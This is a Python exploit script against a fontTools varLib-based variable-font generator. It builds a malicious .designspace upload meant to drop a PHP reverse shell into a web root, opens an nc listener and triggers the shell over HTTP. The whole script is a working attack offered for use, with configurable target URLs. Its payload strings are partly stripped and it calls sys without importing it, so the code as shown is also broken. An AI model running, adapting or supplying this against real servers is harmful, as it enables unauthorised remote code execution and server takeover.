import argparse import logging import requests import secrets import string import subprocess import threading import time from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen TARGET_URL = "http://mysite.com/tools/variable-font-generator/process" #change if necessary DEFAULT_PATH = "/var/www/mysite.com/public" #change if neccessary TRIGGER_URL = "http://mysite.com" #change if necessary # Configure logging logging.basicConfig( level=logging.INFO, format='[%(levelname)s] %(message)s' ) def parse_args(): parser = argparse.ArgumentParser(description="Varlib fontTools exploit") parser.add_argument("--ip", required=True, help="Listener IP") parser.add_argument("--port", required=True, type=int, help="Listener port") parser.add_argument("--path", default=DEFAULT_PATH, help="Filesystem path to write a shell") parser.add_argument("--url", default=TARGET_URL, help="Upload's Form URL") parser.add_argument("--trigger", default=TRIGGER_URL, help="URL to trigger the shell") parser.add_argument("--no-listen", action="store_true", help="Skip auto listener") return parser.parse_args() #create fonts def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() glyph = pen.glyph() fb.setupGlyf({".notdef": glyph}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "ExploitFont", "styleName": f"Weight{weight}"}) fb.save(filename) # Build reverse shell PHP def build_php(ip, port): php_code = ( f'$sock,1=>$sock,2=>$sock);' f'$proc=proc_open("/bin/bash -i",$descriptorspec,$pipes);' f'?>' ) return php_code # Generate shell name def gen_shell_name(prefix="shell_", length=8): """ Generate something like shell_ab12cd34.php Only [a-z0-9] so it’s safe to drop into single quotes. """ alphabet = string.ascii_lowercase + string.digits rand = ''.join(secrets.choice(alphabet) for _ in range(length)) return f"{prefix}{rand}.php" # Generate malicious designspace def generate_designspace(ip, port, target_path, shellname): php_payload = build_php(ip, port) xml = f""" ]]> PENTEST """ return xml # Upload the payload def upload_exploit(xml_payload, url): files = [ ("designspace", ("malicious.designspace", xml_payload, "application/octet-stream")), #change if your upload form is different ("masters", ("source-light.ttf", open("source-light.ttf", "rb"), "font/ttf")), ("masters", ("source-regular.ttf", open("source-regular.ttf", "rb"), "font/ttf")), ] headers = { #add extra headers if necessary "User-Agent": "Mozilla/5.0", } r = requests.post(url, files=files, headers=headers) logging.info(f"[+] Server status: {r.status_code}") def start_listener(port): logging.info(f"[+] Starting listener on port {port}...") return subprocess.Popen( ["nc", "-lvnp", str(port)], stdin=None, stdout=None, stderr=subprocess.DEVNULL ) def trigger_shell(shell_name, url): """ Simple HTTP GET to execute the reverse shell payload. """ url = f"{url}/{shell_name}" logging.info(f"[+] Triggering shell via {url}") try: r = requests.get(url, timeout=5) logging.info(f"[+] Trigger request status: {r.status_code}") except requests.RequestException as e: logging.warning(f"[!] Error while triggering shell.. try to trigger manually: {e}") def main(): args = parse_args() ip = args.ip port = args.port path = args.path url = args.url trigger_url = args.trigger if not (1 <= port <= 65535): sys.exit("[-] Invalid port number") if port > 10000: logging.warning("[!] Ports above 10000 may be blocked by your local firewall. Use ports like 4444, 9001, or 5050.") elif port < 1024: logging.warning("[!] Ports below 1024 require admin privileges to work as intended") logging.info(f"[+] Generating compatible master fonts...") create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) logging.info(f"[+] Generating shell name...") shell_name = gen_shell_name() logging.info(f"[+] Using IP address: {ip} and Port Number: {port}") logging.info(f"[+] Using shell name {shell_name}") logging.info(f"[+] Creating malicious designspace...") xml_payload = generate_designspace(ip, port, path, shell_name) logging.info(f"[+] Uploading payload...") upload_exploit(xml_payload, url) if not args.no_listen: try: listener_proc = start_listener(port) time.sleep(2) # Give listener time to spin up trigger_shell(shell_name, trigger_url) listener_proc.wait() except KeyboardInterrupt: logging.info(f"[!] Interrupted...") else: trigger_shell(shell_name, trigger_url) if __name__ == "__main__": main()